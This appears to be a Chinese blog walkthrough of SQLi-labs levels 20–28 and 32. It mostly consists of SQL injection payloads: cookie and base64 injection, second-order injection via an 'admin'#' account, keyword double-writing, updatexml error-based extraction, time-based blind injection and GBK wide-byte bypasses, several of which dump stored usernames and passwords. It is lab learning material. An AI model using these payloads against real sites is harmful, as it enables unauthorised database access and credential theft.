less---20-28

less-20

这关登陆成功会显示cookie,所以抓包在cookie处注入

less-21

这关登陆成功会显示cookie,所以抓包在cookie处注入,发现不成功,查看代码发现被编码

先对注入语句进行base64编码再注入

less-22

闭合字符",同21关

less-23

这关查看代码发现#和--被替换为空格,注释符号被过滤用编码形式和通过括号空格的方式都不成功

使用报错注入就可以,单引号放在1前面 

有长度限制也可以联合查询,注释没用可以用单引号闭合
 

?id=1' or '1'='1
//这样sql语句就变成 id='1' or '1'='1'
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1
?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1

less-24

第二十四关有一个登录页面和注册页面还要一个修改密码页面,该关卡使用得是二次注入,因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的

猜测管理员账户admin,创建一个admin'#账户由于存在特殊字符转义会创建成功

然后修改密码,由于没有对修改密码过滤,发现最终修改的是管理员密码

修改密码时,数据库内更新数据语句:(pass_change.php)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

带入数据就是:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin' #' and password='admin原来的密码' ";

less--25  and or

输入order by显示被过滤成rder by ,可以考虑双写绕过

?id=1%27%20oorrder%20by%203--+

4报错,3正确,是三列,可以使用联合查询

?id=-1%27%20union%20select%201,(select%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=%27security%27),3--+ //查看表名

?id=-1%27%20union%20select%201,(select%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_name=%27users%27),3--+ //查看列名

?id=-1%27%20union%20select%201,(select%20group_concat(username,0x23,passwoorrd)%20from%20users),3--+

//求字段

报错注入

?id=1%27%20||%20updatexml(1,concat(0x23,database(),0x23),1)--+

?id=1%27%20%26%20updatexml(1,concat(0x23,(select%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=%27security%27),0x23),1)--+ //也可以用编码代替

less-25a整数闭合,报错没有回显,同25

less-26 空格

单引号闭合空格被过滤,可以加引号闭合

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

?id=1%27||(updatexml(1,concat(0x23,database(),0x23),1))||(%271%27)=%271

?id=1%27||(updatexml(1,concat(0x23,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=%27security%27)),0x23),1))||(%271%27)=%271

less-26a

没有报错信息,用联合查询或者盲注,使用时间盲注

?id=1')%26%26(if(ascii(substr(database(),1,1))>115,sleep(3),0));%00

less-27 

过滤

大小写绕过,报错注入

联合查询

less-28

过滤union select组合,报错无回显可以使用时间盲注

 

宽字节注入less-32

过滤 ’ 的时候往往利用的思路是将 ’ 转换为 ’ 。 在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路: (

1)%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:

id=-1%df%27union select 1,user(),3--+

(2)将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。 一般产生宽字节注入的PHP函数: 1.replace():过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一。 2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用思路一 (防御此漏洞,要将 mysql_query 设置为 binary 的方式) 

\x00     \n     \r     \     '     "     \x1a

(防御,将mysql设置为gbk即可)

  • 18
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值